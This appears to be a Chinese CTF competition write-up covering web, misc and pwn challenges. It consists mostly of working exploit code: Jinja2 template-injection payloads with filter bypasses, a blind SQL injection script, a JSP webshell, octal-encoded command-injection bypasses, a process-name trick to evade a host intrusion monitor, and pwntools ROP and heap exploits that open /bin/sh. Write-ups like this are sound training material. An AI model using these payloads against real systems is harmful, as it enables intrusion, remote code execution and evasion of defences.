Web

签到

关注公众号得flag

mine1_1

令`referer`头等于`args`

`((request|attr(request.referrer)).a) => request.args.a`

```
{{((()|attr(((request|attr(request.referrer)).a))|attr(((request|attr(request.re
ferrer)).b))|attr(((request|attr(request.referrer)).c))
())|attr(((request|attr(request.referrer)).d))
(149))|attr(((request|attr(request.referrer)).e))|attr(((request|attr(request.re
ferrer)).f))|attr(((request|attr(request.referrer)).d))
(((request|attr(request.referrer)).g))|attr(((request|attr(request.referrer)).d))
(((request|attr(request.referrer)).h))
(((request|attr(request.referrer)).m))}}&a=__class__&b=__base__&c=__subclasses__
&d=__getitem__&e=__init__&f=__globals__&g=__builtins__&h=eval&m=__import__("os")
.popen("cat * |grep flag").read()
```

pyer

sqlite 时间盲注

```
import requests
import time

url = r'http://124.71.134.84:30101/login'
result = ''

flag = ''

for x in range(0,200) :
    max = 127
    min = 32
    mid = (max + min) //2

    while min <max :
        payload = "' or (select case  when (substr((SELECT sql FROM
sqlite_master WHERE type='table' ),{0},1)>char({1}) ) then randomblob(5000000)
else 1 end) or  '".format(x,mid)
        data = {
            'username':payload,
            'password':"1",
            'submit':"1"
            }

        print payload
        try:
            now = time.time()
```

```
            res = requests.post(url,data = data)
            #print(time.time()-now)
            if time.time()-now >0.3 :   # zhen
                min = mid +1
            else:
                max = mid
        except Exception as e:
            print  e
        mid = (max + min)// 2

    flag = flag + chr(int(mid))
    print flag
```

得到密码 sqlite_not_safe

联合查询 存在ssti

```
‘ union select '{% for c in [].__class__.__base__.__subclasses__() %}{% if
c.__name__=="catch_warnings" %}{{
c.__init__.__globals__["__builtins__"].eval("__import__(\"os\").popen(\"cat *
|grep flag\").read()") }}{% endif %}{% endfor %}' --'
```

WEBSHELL_1

直接上传一个jsp文件执行命令即可。

```
<%
        java.io.InputStream in = Runtime.getRuntime().exec("cat
/flag").getInputStream();;
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("</pre>");
%>
```

MINE2

双引号与attr没有被过滤

所以可以16进制绕过加结合attr

```
http://124.70.199.122:32075/success?msg=
{%print(()|attr(%22\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f%22)|attr(%22\x5f\x5f\x6d
\x72\x6f\x5f\x5f%22)|attr(%22\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f%22)
(1)|attr(%22\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f%22)
()|attr(%22\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f%22)
(202)|attr(%22\x5f\x5f\x69\x6e\x69\x74\x5f\x5f%22)|attr(%22\x5f\x5f\x67\x6c\x6f\
x62\x61\x6c\x73\x5f\x5f%22)|attr(%22\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f
%22)
(%22\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f%22)|attr(%22\x5f\x5f\x67\x6
5\x74\x69\x74\x65\x6d\x5f\x5f%22)(%22eval%22)
(%22\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x70\x6f
\x70\x65\x6e\x28\x27\x63\x61\x74\x20\x66\x6c\x61\x67\x2e\x74\x78\x74\x27\x29\x2e
\x20\x72\x65\x61\x64\x28\x29%22))%}
```

hids

过滤了许多，最后发现可以使用

```
$(printf$IFS$9"\154\163")
```

来任意执行命令（八进制绕过）。

于是写了一个python文件来生成命令

```
while True:
    flags = "$(printf$IFS$9\""
    s = raw_input()
    for i in range(len(s)):
        tmp = oct(ord(s[i]))
        flags += "\\"
        if len(tmp) == 4:
            tmp = tmp[1:]
        flags += tmp
    flags += "\")"
    print flagss
```

cat了detect.py文件的内容：

```
import os,signal

out=os.popen("ps -ef").read()

for line in list(out.splitlines())[1:]:
    try:
        pid = int(line.split()[1])
        ppid = int(line.split()[2])
        cmd = " ".join(line.split()[7:])
        if ppid in [0,1] and cmd in ["/usr/local/bin/python3.8
/home/ctf/web/app.py","/usr/sbin/cron","/usr/bin/tail -f
/var/log/cron","/usr/local/bin/python3.8 /detect.py","/bin/sh -c /usr/sbin/cron
&& /usr/bin/tail -f /var/log/cron"]:
            continue
        os.kill(pid,signal.SIGKILL)
    except Exception as e:
        pass
```

发现只要使/readflag进程ppid为1且进程名字在上述白名单里就不会被kill。

进程名字可以通过exec -a 来设置。后台运行的子进程在父进程被kill掉后，ppid会变。

所以执行

```
bash -c exec -a /usr/sbin/cron /readflag > /tmp/flag.txt &
```

即可符合上述两个条件

将

```
exec -a /usr/sbin/cron /readflag > /tmp/flag.txt &
```

写入到文件里，加执行权限，用bash -c 执行即可。

90s后在/tmp/flag.txt里拿到flag

MISC

Who moved my flag

根据流量包中的文件名字找到 tsh 这个项目，对着源代码进行逆向，找到`secret`为`6.3.0-18+deb9u1\x00`，并照着`pel_recv_msg`代码和二进制文件进行修改。

修改 tsh 的 .h 文件，把一些函数声明和结构体移动到 .h 文件，然后将 tcp stream 1 发送的数据放入下面代码，最后将下面的代码和 tsh 代码放一起就可以编译成功了。

> 发送的包好像粘包了，最后一个包是爆破出来的...

```
#include <string.h>
#include <stdio.h>

#include "aes.h"
#include "pel.h"
#include "sha1.h"

char *key = "6.3.0-18+deb9u1\x00";

/* Packet 54 receive iv */
char peer1_0[] = {
    0xb1, 0xec, 0x05, 0xf1, 0xab, 0x83, 0x93, 0x5c,
    0x0d, 0x61, 0x0b, 0x93, 0x4c, 0x8c, 0xc1, 0x5d,
    0xa6, 0x54, 0x6e, 0x22, 0xc7, 0x6c, 0xd2, 0xed,
    0xb2, 0xa6, 0x57, 0x04, 0xa1, 0x67, 0xfc, 0x78,
    0xbd, 0x4a, 0x51, 0x7c, 0x4d, 0x25, 0x01, 0xd0};

/* Packet 56 receive challenge */
char peer1_1[] = {
    0xce, 0x29, 0xb4, 0x6e, 0xdb, 0x4a, 0xdb, 0x42,
    0xbb, 0xc9, 0x5c, 0xd3, 0xdc, 0xb2, 0x14, 0xe7,
    0xfc, 0x8e, 0xb7, 0x56, 0xbe, 0xba, 0x21, 0x63,
    0xd8, 0xdb, 0xd9, 0x53, 0xf5, 0x72, 0xc2, 0x6f,
    0x97, 0x67, 0x77, 0x9e, 0x1f, 0x6f, 0x79, 0x6d,
    0x3c, 0x01, 0xaf, 0x74, 0xae, 0x5c, 0x76, 0xee,
```

```
    0x2c, 0x40, 0x78, 0x47};

/* Packet 58 send challenge */
char peer0_0[] = {
    0x0a, 0xb3, 0x48, 0xad, 0x08, 0x26, 0xc6, 0x45,
    0x18, 0x71, 0x2b, 0x9d, 0xf0, 0x8a, 0xf6, 0x3e,
    0x3a, 0x5e, 0xfb, 0x96, 0x71, 0xf4, 0xc4, 0xe0,
    0xcc, 0x37, 0x46, 0x94, 0xb3, 0x91, 0xb0, 0xbe,
    0xe7, 0x6a, 0xf2, 0x09, 0x12, 0x9d, 0x69, 0x7f,
    0x05, 0xfc, 0x2a, 0x24, 0xec, 0x76, 0x5e, 0xde,
    0x53, 0x2b, 0x25, 0xb8};

/* Packet 60 receive message */
char peer1_2[] = {
    0x5c, 0x8c, 0x79, 0x91, 0x19, 0x2e, 0x2b, 0x63,
    0x5c, 0xd8, 0xc2, 0x98, 0xef, 0x9c, 0x15, 0x74,
    0x62, 0x10, 0x79, 0x85, 0x24, 0x16, 0x93, 0xfc,
    0x66, 0x15, 0x22, 0xc3, 0x44, 0xda, 0x79, 0x98,
    0xb7, 0x7e, 0x58, 0xef};

/* Packet 62 */
char peer1_3[] = {
    0x62, 0xb2, 0x48, 0xf9, 0xe5, 0x64, 0xbb, 0xeb,
    0x96, 0x26, 0xf5, 0xf1, 0xb1, 0x4d, 0x1e, 0x10,
    0xe8, 0xb2, 0x33, 0xda, 0x2e, 0xef, 0x98, 0xee,
    0xfa, 0x75, 0x3d, 0xaf, 0x2a, 0x53, 0x4d, 0x60,
    0xcb, 0xd5, 0x18, 0xbb, 0x6d, 0x3e, 0x4a, 0x47,
    0x7e, 0xd1, 0xb9, 0xe8, 0x18, 0x15, 0xa8, 0xba,
    0x5c, 0x24, 0x2a, 0x66, 0x49, 0x89, 0x5c, 0xce,
    0x0f, 0xb7, 0xdf, 0xd4, 0x81, 0xf4, 0x30, 0x10,
    0x9e, 0x94, 0x48, 0xf2, 0xb7, 0x11, 0x47, 0x7e,
    0x2c, 0x3e, 0xff, 0x4a, 0x8f, 0xbf, 0x73, 0x12,
    0xce, 0xba, 0xe5, 0x34, 0x7b, 0x69, 0x05, 0x24,
    0xac, 0xd7, 0x56, 0x5e, 0x59, 0xc4, 0x1d, 0x90,
    0xd4, 0xbf, 0x4d, 0x47, 0xdb, 0xc5, 0xc7, 0xb3,
    0xc3, 0x45, 0x2e, 0xc6, 0x5e, 0xd8, 0x39, 0xe3,
    0x1c, 0x10, 0xa5, 0x2d, 0xe0, 0x1b, 0x20, 0x7a,
    0xea, 0x91, 0x12, 0x72, 0x19, 0x6b, 0xec, 0xf0,
    0x03, 0x82, 0x04, 0xe9, 0xa6, 0x6a, 0x9d, 0x7a,
    0x9e, 0x4f, 0x86, 0xcc, 0x87, 0xe0, 0x2f, 0xca,
    0xc1, 0xfc, 0x9b, 0xf7, 0x52, 0xdb, 0xca, 0x9c,
    0xc6, 0xf1, 0x20, 0xdd, 0xd5, 0x6a, 0x3c, 0xd5,
    0xbd, 0x5b, 0xef, 0x05, 0x6a, 0xf6, 0xad, 0x11,
    0x3f, 0x6f, 0xdc, 0x4a, 0xc9, 0x58, 0x57, 0xc4};

/* Packet 64 */
char peer0_1[] = {
    0x97, 0xb5, 0xfe, 0xbf, 0xe4, 0x8f, 0x28, 0x9f,
    0x8e, 0x6f, 0xac, 0xc2, 0xd5, 0xc4, 0xac, 0x01,
    0xa8, 0xd8, 0x7a, 0xa4, 0x26, 0xad, 0xca, 0xea,
    0xbc, 0x35, 0x75, 0x28, 0x7c, 0xa0, 0xed, 0xa5,
    0xba, 0x02, 0xeb, 0x63, 0xa5, 0xb8, 0x56, 0x3c,
    0x7a, 0xe5, 0x65, 0x9a, 0x83, 0xb1, 0x13, 0xdf,
    0xf5, 0x49, 0x08, 0x17};

/* Packet 65 */
char peer0_2[] = {
    0x84, 0x58, 0x07, 0x3e, 0x49, 0x59, 0x5c, 0x9c,
```

```
    0x05, 0xb1, 0x94, 0x24, 0x01, 0x13, 0x46, 0x7d,
    0x6f, 0x3a, 0x86, 0xf5, 0xfe, 0x64, 0x19, 0xf1,
    0x8e, 0xe6, 0x0e, 0xf1, 0x3a, 0xdd, 0x8b, 0x4f,
    0xa9, 0xa6, 0xc5, 0x34, 0xbb, 0x69, 0x53, 0x61,
    0xc6, 0x41, 0xeb, 0xb6, 0x8b, 0xd1, 0x59, 0x82,
    0xe2, 0xfa, 0xbe, 0xf1, 0x3c, 0xd5, 0xc6, 0x75,
    0x81, 0x83, 0x2b, 0x98, 0x64, 0xe3, 0xaa, 0xd9,
    0x14, 0x5b, 0xc3, 0xa8, 0xaf, 0x74, 0xda, 0x49,
    0x31, 0xab, 0xd1, 0xfe, 0x52, 0xcf, 0x80, 0x57,
    0x43, 0x68, 0xaf, 0xa0, 0x20, 0x7c, 0xe8, 0x34,
    0x36, 0x7c, 0x3d, 0x0b, 0xc3, 0xe3, 0xb0, 0x1b,
    0x38, 0x12, 0x68, 0xb3, 0xad, 0x97, 0x6e, 0x7c,
    0xb7, 0x78, 0x1f, 0xa4, 0x11, 0xf7, 0xd1, 0x62,
    0x58, 0xa1, 0x89, 0xdf, 0x12, 0xa9, 0x62, 0x33,
    0x86, 0xff, 0x59, 0x31, 0xfb, 0x5e, 0x72, 0xc0,
    0xc4, 0xdc, 0x6d, 0x53, 0x1b, 0x63, 0x33, 0x48,
    0x35, 0xda, 0x91, 0xda, 0xa5, 0xba, 0x73, 0xe8,
    0x94, 0x5e, 0xe5, 0x68, 0x3f, 0x1a, 0x11, 0x02,
    0xe0, 0x09, 0xc1, 0x35, 0x8d, 0xff, 0x01, 0x6e,
    0xd4, 0xf1, 0xe2, 0x48, 0xe3, 0xc7, 0xb2, 0x4b,
    0x4f, 0xa6, 0xa0, 0xc5, 0x6d, 0x0f, 0x4f, 0x45,
    0x74, 0x8f, 0x33, 0xd9, 0xa6, 0xab, 0x28, 0xfc,
    0xa2, 0x9a, 0x0c, 0x69, 0x21, 0x64, 0x89, 0x95,
    0xb8, 0x5b, 0xbb, 0x32, 0x48, 0x4b, 0x6e, 0xe9,
    0x52, 0x55, 0x3d, 0x78, 0xeb, 0x29, 0x19, 0x3e,
    0xe7, 0xaf, 0xfd, 0x1f, 0x61, 0x10, 0x6d, 0x89,
    0x8c, 0xe4, 0xb7, 0xb5, 0x08, 0x45, 0xb9, 0x73,
    0x66, 0x6d, 0x73, 0x81, 0x43, 0x3e, 0x28, 0x0e,
    0x15, 0x43, 0xbb, 0xca, 0x13, 0x3e, 0x7a, 0x24,
    0x8b, 0x3a, 0x3a, 0x5c, 0xcf, 0x91, 0x61, 0x5a,
    0x41, 0x44, 0xa0, 0x8a, 0xf3, 0x7e, 0x7c, 0x65,
    0xe3, 0x23, 0x76, 0x26, 0x03, 0x32, 0x57, 0xc2,
    0xc6, 0x48, 0xbc, 0xae, 0xf8, 0xd9, 0xc7, 0x42,
    0xe9, 0x6f, 0x7f, 0xb4, 0xa6, 0x3b, 0x1d, 0x78,
    0x0f, 0xfe, 0x1e, 0x00, 0xf2, 0xdb, 0x64, 0x53,
    0x2c, 0xd9, 0x28, 0xbe, 0x9d, 0x35, 0xf4, 0x24,
    0x78, 0x06, 0x2c, 0x18, 0x36, 0xc7, 0xd9, 0xc8,
    0xd0, 0x40, 0xbd, 0xe0, 0x9b, 0x92, 0xa3, 0x9c,
    0x36, 0x64, 0xcd, 0x83, 0xf6, 0x4f, 0xd7, 0xb1,
    0x1f, 0x93, 0xaa, 0x7a};

extern unsigned char buffer[BUFSIZE + 16 + 20];
int count = 0;

// rewrite of pel_recv_msg
int decrypt(struct pel_context *recv_ctx, char *encrypt_data, char *msg, int
*length)
{
    unsigned char temp[16];
    unsigned char hmac[20];
    unsigned char digest[20];
    struct sha1_context sha1_ctx;
    int i, j, ret = PEL_SUCCESS, blk_len;

    /* receive the first encrypted block */
    // ret = pel_recv_all(sockfd, buffer, 16, 0);
    memcpy(buffer, encrypt_data, 16);
```

```
    /* decrypt this block and extract the message length */
    memcpy(temp, buffer, 16);
    aes_decrypt(&recv_ctx->SK, buffer);
    for (j = 0; j < 16; j++)
    {
        buffer[j] ^= recv_ctx->LCT[j];
    }
    *length = (((int)buffer[0]) << 8) + (int)buffer[1];
    /* restore the ciphertext */
    memcpy(buffer, temp, 16);

    /* verify the message length */
    if (*length <= 0 || *length > BUFSIZE)
    {
        pel_errno = PEL_BAD_MSG_LENGTH;
        return (PEL_FAILURE);
    }

    /* round up to AES block length (16 bytes) */
    blk_len = 2 + *length;
    if ((blk_len & 0x0F) != 0)
    {
        blk_len += 16 - (blk_len & 0x0F);
    }

    /* receive the remaining ciphertext and the mac */
    // ret = pel_recv_all(sockfd, &buffer[16], blk_len - 16 + 20, 0);
    memcpy(&buffer[16], &encrypt_data[16], blk_len - 16 + 20);
    if (ret != PEL_SUCCESS)
        return (PEL_FAILURE);

    memcpy(hmac, &buffer[blk_len], 20);

    /* verify the ciphertext integrity */
    buffer[blk_len] = 0; // (recv_ctx->p_cntr << 24) & 0xFF;
    buffer[blk_len + 1] = 0; // (recv_ctx->p_cntr << 16) & 0xFF;
    buffer[blk_len + 2] = 0; // (recv_ctx->p_cntr << 8) & 0xFF;
    buffer[blk_len + 3] = count; // (recv_ctx->p_cntr) & 0xFF;

    sha1_starts(&sha1_ctx);
    sha1_update(&sha1_ctx, recv_ctx->k_ipad, 64);
    sha1_update(&sha1_ctx, buffer, blk_len + 4);
    sha1_finish(&sha1_ctx, digest);

    sha1_starts(&sha1_ctx);
    sha1_update(&sha1_ctx, recv_ctx->k_opad, 64);
    sha1_update(&sha1_ctx, digest, 20);
    sha1_finish(&sha1_ctx, digest);

    if (memcmp(hmac, digest, 20) != 0)
    {
        pel_errno = PEL_CORRUPTED_DATA;
        return (PEL_FAILURE);
    }

    /* increment the packet counter */
    count++;
    recv_ctx->p_cntr++;
```

```
    /* finally, decrypt and copy the message */
    for (i = 0; i < blk_len; i += 16)
    {
        memcpy(temp, &buffer[i], 16);
        aes_decrypt(&recv_ctx->SK, &buffer[i]);
        for (j = 0; j < 16; j++)
        {
            buffer[i + j] ^= recv_ctx->LCT[j];
        }
        memcpy(recv_ctx->LCT, temp, 16);
    }
    memcpy(msg, &buffer[2], *length);
    pel_errno = PEL_UNDEFINED_ERROR;
    return (PEL_SUCCESS);
}

void decrypt_test()
{
    struct pel_context send_ctx;
    struct pel_context recv_ctx;
    unsigned char IV1[20], IV2[20];
    memcpy(IV2, &peer1_0[0], 20);
    memcpy(IV1, &peer1_0[20], 20);
    pel_setup_context(&send_ctx, key, IV1);
    pel_setup_context(&recv_ctx, key, IV2);
    aes_decrypt(&recv_ctx.SK, peer1_1);

    for (int j = 0; j < 16; j++)
    {
        peer1_1[j] ^= recv_ctx.LCT[j];
    }
    int length = (((int)peer1_1[0]) << 8) + (int)peer1_1[1];
    printf("%d\n", length);
    for (int i = 0; i < 16; i++)
    {
        printf("%x ", peer1_1[i] & 0xff);
    }
    printf("\n");
}

void print_hex(char *text, int len)
{
    for (int i = 0; i < len; i++)
    {
        printf("%x ", text[i] & 0xff);
    }
    printf("\n");
}

void decrypt_print(struct pel_context *recv_ctx, char *encrypted_message)
{
    char decrypted_message[4096];
    int len;
    int ret = decrypt(recv_ctx, encrypted_message, decrypted_message, &len);
    printf("%d %d\n", ret, len);
    if (ret == PEL_SUCCESS)
        puts(decrypted_message);
```

```
    //print_hex(decrypted_message, len);
}

int main(int argc, char const *argv[])
{
    struct pel_context send_ctx;
    struct pel_context recv_ctx;
    unsigned char IV1[20], IV2[20];
    memcpy(IV2, &peer1_0[0], 20);
    memcpy(IV1, &peer1_0[20], 20);
    pel_setup_context(&send_ctx, key, IV1);
    pel_setup_context(&recv_ctx, key, IV2);
    char decrypted_message[4096];
    memset(decrypted_message, 0, 4096);

    decrypt_print(&recv_ctx, peer1_1);
    decrypt_print(&recv_ctx, peer1_2);
    decrypt_print(&recv_ctx, peer1_3);
    count = 0;
    decrypt_print(&send_ctx, peer0_0);
    decrypt_print(&send_ctx, peer0_1);
    decrypt_print(&send_ctx, peer0_2);
    struct pel_context new_ctx = send_ctx;
    for (int i = 64; i < 320; i++)
    {
        new_ctx = send_ctx;
        decrypt_print(&send_ctx, &peer0_2[i]);
    }
    return 0;
}
```

PWN

GAME

```
from pwn import *
import base64
import os
os.system('rm -rf ./pwn')
p = remote('121.36.21.113' ,10004)

p.recvuntil('info------------------\n')
open('pwn','w').write(base64.b64decode(p.recvuntil('\n')))
os.system('chmod +x ./pwn')
# os.system('./exp')
f = process('./exp')
context.log_level = 'debug'
bufcount = int(f.recvuntil('\n',False))
p.sendlineafter('input code',f.recvall())


def exp(n):
    def csu(rdi,rsi,rdx,func):
        payload =
p64(0x4008CA)+p64(0)+p64(1)+p64(func)+p64(rdx)+p64(rsi)+p64(rdi)+p64(0x4008B0)
```

```
        payload += p64(0)*7
        return payload

    elf = ELF("./pwn",False)
    bss = 0x601500
    pop_rdi = 0x00000000004008d3
    pop_rsi_r15 = 0x00000000004008d1
    read_got = elf.got['read']
    alarm_got = elf.got['alarm']
    read_plt = elf.plt['read']
    payload = 'A'*n+p64(pop_rsi_r15)+p64(alarm_got)+p64(0)+p64(read_plt)
    payload += csu(0,bss,0x100,read_got)+csu(bss,0,0,alarm_got)
    p.sendline(payload)
    sleep(0.1)
    p.send('\x85')
    sleep(0.1)
    p.send('/bin/sh'.ljust(59,'\x00'))
    # .interactive()
    p.sendline('cat *|grep flag')
    p.interactive()

exp(bufcount+8)


p.interactive()
```

```
#include <stdio.h>
#include <stdlib.h>
#include <dlfcn.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/mman.h>

void main()
{
    // short a = 0xfffffea0 ;//A0 FE FF FF;
    // printf("%hd",a);
    int fd;
    void *start;
    struct stat sb;
    fd = open("./pwn",O_RDONLY);
    fstat(fd, &sb);
    start = mmap(0x400000, sb.st_size, PROT_READ|PROT_EXEC|PROT_WRITE,
MAP_PRIVATE, fd, 0);
    if(start == MAP_FAILED) /* 判断是否映射成功 */
        return;
    // puts("load ok");
    // 4889c6
    char * ptr = 0x4007D7;
    while (*(int*)ptr!=0xbfc68948)
    {
        ptr++;
    }
    unsigned int x = 0xffffffff;
    unsigned int y = 0;
```

```
    y = x - *(unsigned int *)(ptr-9)+1;
    printf("%d\n",y);
    *(short*)ptr = 0xc3c9;
    typedef int (*func)(int);
    int i = 0;
    func f = 0x4006F9;
    for (; !f(i); i++);
    printf("%d\n",i);

}
```

CPP

```
from pwn import *
context.terminal = ['ancyterm','-s','host.docker.internal','-t','iterm2','-e']
# p = process('./chall')#,env={'LD_PRELOAD':'./libc-2.31.so'})
p = remote('124.70.12.210', 10002)

def add(content,idx):
    p.sendlineafter('>','0')
    p.sendafter('>',content.ljust(7,'\x00'))
    p.sendlineafter('>',str(idx))

def free(idx,content):
    p.sendlineafter('>','1')
    p.sendlineafter('>',str(idx))
    # p.recvuntil('>')
    puts_content = p.recvuntil('\x0a',False)[3:-1].ljust(8,'\x00')
    p.send(content)
    return puts_content


add('aaaa',0)
add('aaaa',1)
add('$0',8)
add('$0',9)

add('$0',10)
free(1,'\x01'*7)
# x = free(0,'\x01'*7)
# print(len(x))
# print(hex(u64(x)))
p.sendlineafter('>','1')
p.sendlineafter('>','0')
# p.recvuntil('>')
puts_content = p.recvuntil('\x0a',False)[3:-1].ljust(8,'\x00')

p.send(p64(u64(puts_content)-0x11c30)[:-2]+'\n')

add('aaaa',0)
add('bbbb',1)
# gdb.attach(p,'b free\nc')
libc_leak = u64(free(1,'\x00'*7))
# print(hex(u64(libc_leak)))
libc = ELF('./libc-2.31.so',False)
```

```
libc.address = (libc_leak-libc.symbols['__malloc_hook'])&(~0xfff)
print(hex(libc.address))
# gdb.attach(p,'b free\nc')
# gdb.attach(p)




free(10,'\x00'*7)
free(9,p64(libc.symbols['__free_hook'])[:-1])

add(p64(libc.symbols['system'])[:-1],20)
add(p64(libc.symbols['system'])[:-1],21)
# gdb.attach(p,'b free')
p.sendlineafter('>','1')
p.sendlineafter('>',str(8))

p.interactive()
```